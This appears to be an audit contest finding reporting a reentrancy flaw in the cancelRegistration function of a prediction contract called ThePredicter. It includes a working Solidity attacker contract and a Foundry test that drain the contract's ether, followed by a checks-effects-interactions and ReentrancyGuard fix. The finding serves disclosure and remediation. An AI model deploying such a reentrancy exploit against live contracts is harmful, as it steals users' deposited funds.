Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy in `cancelRegistration` function

Summary

The ThePredicter::cancelRegistration function is vulnerable to a reentrancy attack. This allows an attacker to withdraw their entrance fee repeatedly, draining the contract's funds.

Vulnerability Details

The cancelRegistration function sends ether to the caller before updating the player's status, allowing reentrancy attacks. An attacker can exploit this by waiting for many users to register, then repeatedly calling cancelRegistration within the fallback function of a malicious contract, draining the contract's funds.

PoC

Attacker Contract

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "./ThePredicter.sol";
contract ReentrancyAttack {
ThePredicter public targetContract;
address public owner;
constructor(address _targetAddress) {
targetContract = ThePredicter(_targetAddress);
owner = msg.sender;
}
// Fallback function to be called during reentrancy
fallback() external payable {
if (address(targetContract).balance >= targetContract.entranceFee()) {
targetContract.cancelRegistration();
}
}
function attack() external payable {
require(msg.sender == owner, "Only owner can attack");
require(
msg.value == targetContract.entranceFee(),
"Incorrect entrance fee"
);
// Register first
targetContract.register{value: msg.value}();
// Trigger the attack
targetContract.cancelRegistration();
}
// Withdraw stolen funds
function withdraw() external {
require(msg.sender == owner, "Only owner can withdraw");
payable(owner).transfer(address(this).balance);
}
}

And this is the Reentrancy Attack Test with foundry for testing and verification

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import {Test} from "forge-std/Test.sol";
import {ThePredicter} from "../src/ThePredicter.sol";
import {ReentrancyAttack} from "../src/ReentrancyAttack.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
contract ReentrancyAttackTest is Test {
ThePredicter public thePredicter;
ScoreBoard public scoreBoard;
ReentrancyAttack public reentrancyAttack;
address public attacker = address(0x1234);
address public organizer = address(0x5678);
uint256 public entranceFee = 0.04 ether;
uint256 public predictionFee = 0.0001 ether;
address public stranger1 = makeAddr("stranger");
address public stranger2 = makeAddr("stranger2");
function setUp() public {
vm.deal(attacker, 1 ether);
vm.startPrank(organizer);
// Deploy ScoreBoard contract
scoreBoard = new ScoreBoard();
// Deploy ThePredicter contract
thePredicter = new ThePredicter(
address(scoreBoard),
entranceFee,
predictionFee
);
scoreBoard.setThePredicter(address(thePredicter));
vm.stopPrank();
// Deploy ReentrancyAttack contract
vm.prank(attacker);
reentrancyAttack = new ReentrancyAttack(address(thePredicter));
}
function testReentrancyAttack() public {
vm.deal(stranger1, 1 ether);
vm.startPrank(stranger1);
// A stranger 1 register
thePredicter.register{value: entranceFee}();
vm.stopPrank();
assertEq(stranger1.balance, 0.96 ether);
assertEq(address(thePredicter).balance, entranceFee);
vm.deal(stranger2, 1 ether);
vm.startPrank(stranger2);
// A stranger 2 register
thePredicter.register{value: entranceFee}();
vm.stopPrank();
assertEq(stranger2.balance, 0.96 ether);
// Now, the total balance of the ThePredicter contract is entranceFee * 2 because we have two users who have registered.
assertEq(address(thePredicter).balance, entranceFee * 2);
vm.startPrank(attacker);
// Fund the attack contract with the entrance fee
reentrancyAttack.attack{value: entranceFee}();
// Check if the attack contract has drained the funds
assertEq(address(thePredicter).balance, 0);
assertEq(address(attacker).balance, 0.96 ether);
// Withdraw the stolen funds to the attacker's address
reentrancyAttack.withdraw();
// Ensure the attacker received the stolen funds
assertEq(attacker.balance, 1 ether + entranceFee * 2);
vm.stopPrank();
}
}

The attacker can even wait for players to make their predictions and then drain all the funds from the contract, attempting to maximize their profit, as long as they are not an approved player.

Impact

An attacker can exploit this vulnerability to drain the contract's funds by repeatedly calling the cancelRegistration function.

Tools Used

Foundry

Recommendations

  1. Use Checks-Effects-Interactions Pattern: Update the player's status before sending ether to prevent reentrancy attacks.

  2. Use Reentrancy Guard: Implement a reentrancy guard to prevent reentrant calls. This can be done using OpenZeppelin's ReentrancyGuard contract.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
import {ScoreBoard} from "./ScoreBoard.sol";
+ import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract ThePredicter is ReentrancyGuard {
// ... existing code ...
function cancelRegistration() public
+ nonReentrant
{
if (playersStatus[msg.sender] == Status.Pending) {
+ playersStatus[msg.sender] = Status.Canceled;
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}
// ... existing code ...
}
Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.